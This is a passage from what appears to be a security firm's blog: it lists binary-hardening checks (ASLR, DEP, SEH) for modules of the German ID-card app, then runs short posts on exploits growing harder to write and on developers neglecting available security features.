.\siqDecTSPRequest.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqDecTypeMatcher.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqeCardAPI_svr.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqeCardClient.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqEncP7.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqEPAProfile.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqHash.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqISO7816EPA.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqOIDManager.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqP1Verifier.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqP7Encoder.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqRNG.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqSEMk.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqSEMk_srv.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqSEMkApp.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqSSLClient.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqTerminalPCSC.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\siqTiffTxtParser.ols; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09
.\toolKillProcess.exe; Linker Version 8.0; ASLR NOT supported; DEP NOT supported; No SEH found; TTI = 26.09

we’re not sure if that’s the case ;-), when looking at the new AusweissApp with our closed source security metric.

So far for our little contribution to the mentioned debate,

have a great day everybody,

Michael

PS: At Troopers 11 there will be a presentation from Friedwart Kuhn on using the nPA for authentication purposes in corporate environments.

Continue reading
Breaking

Back to the roots

Finding exploitable vulnerabilities is getting harder. This statement of Dennis Fisher published on Kaspersky’s Threatpost blog summarizes a trend in the development lifecycle of software . The last published vulnerabilities that were gaining some attention in the public had all one thing in common, they were quite hard to exploit. The so called jailbreakme vulnerability was based on several different vulnerabilities that had to be chained together to break out of the iPhone sandbox, escalate its privileges and run arbitrary code. Modern software and especially modern operating systems are more secure, they contain less software flaws and more protection features that make reliable exploitation a big problem that can only be solved by very skilled hackers. Decades ago it was just like this, but intelligent tools and sharing of the needed knowledge enabled even low skilled people to develop working exploits and attack vulnerable systems. Nowadays we are going back to the roots where only a few very knowledgeable people are able to circumvent modern security controls, but that doesn’t mean that all problems are gone. Attackers are moving to design flaws like the DLL highjacking problem, so only the class of attacks is changing from the old school memory corruption vulnerabilities to logical flaws that still can be exploited easily. But the number of exploitable vulnerabilities is decreasing, so this might be a sign that we are on the right way to develop reliable and secure systems and that developing companies are adopting Microsofts Secure Development Lifecycle (SDL) to produce more secure software. As stated in my previous blogpost the protection features are available, but not used very often. But if they are used and if the developers are strictly following the recommendations of the SDL, this trend of “harder to exploit vulnerabilities” proves that it can be a success story to do so.

Have a bug-free day 😉
Michael

Continue reading
Building

Software Developers Don’t Use Available Security Features

According to SANS NewsBites Vol. XII, Issue 53 recently published there’s a lack of 3rd party developer support for some security features Microsoft introduced already years ago. We at ERNW have made similar observations when performing security assessments of COTS [commercial off-the-shelf] software. We therefore created a methodology, a proof of concept tool and a metric to test and to rate closed source software, where (amongst other approaches) these security features are checked and their (non-) presence contributes to an overall evaluation as for the trustworthiness of the applications in question. The concept “How to rate the security in closed source software” was presented to the public at Troopers10 and at Hack in the Box 2010 in Amsterdam. The slides can be found here.

Continue reading